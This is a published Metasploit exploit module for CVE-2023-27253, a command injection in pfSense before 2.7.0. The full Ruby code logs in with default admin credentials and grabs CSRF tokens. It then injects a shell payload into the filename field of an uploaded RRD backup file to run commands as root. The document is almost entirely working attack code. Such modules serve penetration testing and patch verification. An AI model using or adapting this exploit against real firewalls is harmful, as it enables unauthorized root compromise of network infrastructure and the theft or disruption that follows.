pfSense v2.7.0 - OS Command Injection

# Exploit Title: pfSense v2.7.0 - OS Command Injection 
#Exploit Author: Emir Polat
# CVE-ID : CVE-2023-27253

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::CmdStager
  include Msf::Exploit::FileDropper
  prepend Msf::Exploit::Remote::AutoCheck

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'pfSense Restore RRD Data Command Injection',
        'Description' => %q{
          This module exploits an authenticated command injection vulnerabilty in the "restore_rrddata()" function of
          pfSense prior to version 2.7.0 which allows an authenticated attacker with the  "WebCfg - Diagnostics: Backup & Restore"
          privilege to execute arbitrary operating system commands as the "root" user.

          This module has been tested successfully on version 2.6.0-RELEASE.
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'Emir Polat', # vulnerability discovery & metasploit module
        ],
        'References' => [
          ['CVE', '2023-27253'],
          ['URL', 'https://redmine.pfsense.org/issues/13935'],
          ['URL', 'https://github.com/pfsense/pfsense/commit/ca80d18493f8f91b21933ebd6b714215ae1e5e94']
        ],
        'DisclosureDate' => '2023-03-18',
        'Platform' => ['unix'],
        'Arch' => [ ARCH_CMD ],
        'Privileged' => true,
        'Targets' => [
          [ 'Automatic Target', {}]
        ],
        'Payload' => {
          'BadChars' => "\x2F\x27",
          'Compat' =>
            {
              'PayloadType' => 'cmd',
              'RequiredCmd' => 'generic netcat'
            }
        },
        'DefaultOptions' => {
          'RPORT' => 443,
          'SSL' => true
        },
        'DefaultTarget' => 0,
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'Reliability' => [REPEATABLE_SESSION],
          'SideEffects' => [CONFIG_CHANGES, IOC_IN_LOGS]
        }
      )
    )

    register_options [
      OptString.new('USERNAME', [true, 'Username to authenticate with', 'admin']),
      OptString.new('PASSWORD', [true, 'Password to authenticate with', 'pfsense'])
    ]
  end

  def check
    unless login
      return Exploit::CheckCode::Unknown("#{peer} - Could not obtain the login cookies needed to validate the vulnerability!")
    end

    res = send_request_cgi(
      'uri' => normalize_uri(target_uri.path, 'diag_backup.php'),
      'method' => 'GET',
      'keep_cookies' => true
    )

    return Exploit::CheckCode::Unknown("#{peer} - Could not connect to web service - no response") if res.nil?
    return Exploit::CheckCode::Unknown("#{peer} - Check URI Path, unexpected HTTP response code: #{res.code}") unless res.code == 200

    unless res&.body&.include?('Diagnostics: ')
      return Exploit::CheckCode::Safe('Vulnerable module not reachable')
    end

    version = detect_version
    unless version
      return Exploit::CheckCode::Detected('Unable to get the pfSense version')
    end

    unless Rex::Version.new(version) < Rex::Version.new('2.7.0-RELEASE')
      return Exploit::CheckCode::Safe("Patched pfSense version #{version} detected")
    end

    Exploit::CheckCode::Appears("The target appears to be running pfSense version #{version}, which is unpatched!")
  end

  def login
    # Skip the login process if we are already logged in.
    return true if @logged_in

    csrf = get_csrf('index.php', 'GET')
    unless csrf
      print_error('Could not get the expected CSRF token for index.php when attempting login!')
      return false
    end

    res = send_request_cgi(
      'uri' => normalize_uri(target_uri.path, 'index.php'),
      'method' => 'POST',
      'vars_post' => {
        '__csrf_magic' => csrf,
        'usernamefld' => datastore['USERNAME'],
        'passwordfld' => datastore['PASSWORD'],
        'login' => ''
      },
      'keep_cookies' => true
    )

    if res && res.code == 302
      @logged_in = true
      true
    else
      false
    end
  end

  def detect_version
    res = send_request_cgi(
      'uri' => normalize_uri(target_uri.path, 'index.php'),
      'method' => 'GET',
      'keep_cookies' => true
    )

    # If the response isn't a 200 ok response or is an empty response, just return nil.
    unless res && res.code == 200 && res.body
      return nil
    end

    if (%r{Version.+<strong>(?<version>[0-9.]+-RELEASE)\n?</strong>}m =~ res.body).nil?
      nil
    else
      version
    end
  end

  def get_csrf(uri, methods)
    res = send_request_cgi(
      'uri' => normalize_uri(target_uri.path, uri),
      'method' => methods,
      'keep_cookies' => true
    )

    unless res && res.body
      return nil # If no response was returned or an empty response was returned, then return nil.
    end

    # Try regex match the response body and save the match into a variable named csrf.
    if (/var csrfMagicToken = "(?<csrf>sid:[a-z0-9,;:]+)";/ =~ res.body).nil?
      return nil # No match could be found, so the variable csrf won't be defined.
    else
      return csrf
    end
  end

  def drop_config
    csrf = get_csrf('diag_backup.php', 'GET')
    unless csrf
      fail_with(Failure::UnexpectedReply, 'Could not get the expected CSRF token for diag_backup.php when dropping the config!')
    end

    post_data = Rex::MIME::Message.new

    post_data.add_part(csrf, nil, nil, 'form-data; name="__csrf_magic"')
    post_data.add_part('rrddata', nil, nil, 'form-data; name="backuparea"')
    post_data.add_part('', nil, nil, 'form-data; name="encrypt_password"')
    post_data.add_part('', nil, nil, 'form-data; name="encrypt_password_confirm"')
    post_data.add_part('Download configuration as XML', nil, nil, 'form-data; name="download"')
    post_data.add_part('', nil, nil, 'form-data; name="restorearea"')
    post_data.add_part('', 'application/octet-stream', nil, 'form-data; name="conffile"')
    post_data.add_part('', nil, nil, 'form-data; name="decrypt_password"')

    res = send_request_cgi(
      'uri' => normalize_uri(target_uri.path, 'diag_backup.php'),
      'method' => 'POST',
      'ctype' => "multipart/form-data; boundary=#{post_data.bound}",
      'data' => post_data.to_s,
      'keep_cookies' => true
    )

    if res && res.code == 200 && res.body =~ /<rrddatafile>/
      return res.body
    else
      return nil
    end
  end

  def exploit
    unless login
      fail_with(Failure::NoAccess, 'Could not obtain the login cookies!')
    end

    csrf = get_csrf('diag_backup.php', 'GET')
    unless csrf
      fail_with(Failure::UnexpectedReply, 'Could not get the expected CSRF token for diag_backup.php when starting exploitation!')
    end

    config_data = drop_config
    if config_data.nil?
      fail_with(Failure::UnexpectedReply, 'The drop config response was empty!')
    end

    if (%r{<filename>(?<file>.*?)</filename>} =~ config_data).nil?
      fail_with(Failure::UnexpectedReply, 'Could not get the filename from the drop config response!')
    end
    config_data.gsub!(' ', '${IFS}')
    send_p = config_data.gsub(file, "WAN_DHCP-quality.rrd';#{payload.encoded};")

    post_data = Rex::MIME::Message.new

    post_data.add_part(csrf, nil, nil, 'form-data; name="__csrf_magic"')
    post_data.add_part('rrddata', nil, nil, 'form-data; name="backuparea"')
    post_data.add_part('yes', nil, nil, 'form-data; name="donotbackuprrd"')
    post_data.add_part('yes', nil, nil, 'form-data; name="backupssh"')
    post_data.add_part('', nil, nil, 'form-data; name="encrypt_password"')
    post_data.add_part('', nil, nil, 'form-data; name="encrypt_password_confirm"')
    post_data.add_part('rrddata', nil, nil, 'form-data; name="restorearea"')
    post_data.add_part(send_p.to_s, 'text/xml', nil, "form-data; name=\"conffile\"; filename=\"rrddata-config-pfSense.home.arpa-#{rand_text_alphanumeric(14)}.xml\"")
    post_data.add_part('', nil, nil, 'form-data; name="decrypt_password"')
    post_data.add_part('Restore Configuration', nil, nil, 'form-data; name="restore"')

    res = send_request_cgi(
      'uri' => normalize_uri(target_uri.path, 'diag_backup.php'),
      'method' => 'POST',
      'ctype' => "multipart/form-data; boundary=#{post_data.bound}",
      'data' => post_data.to_s,
      'keep_cookies' => true
    )

    if res
      print_error("The response to a successful exploit attempt should be 'nil'. The target responded with an HTTP response code of #{res.code}. Try rerunning the module.")
    end
  end
end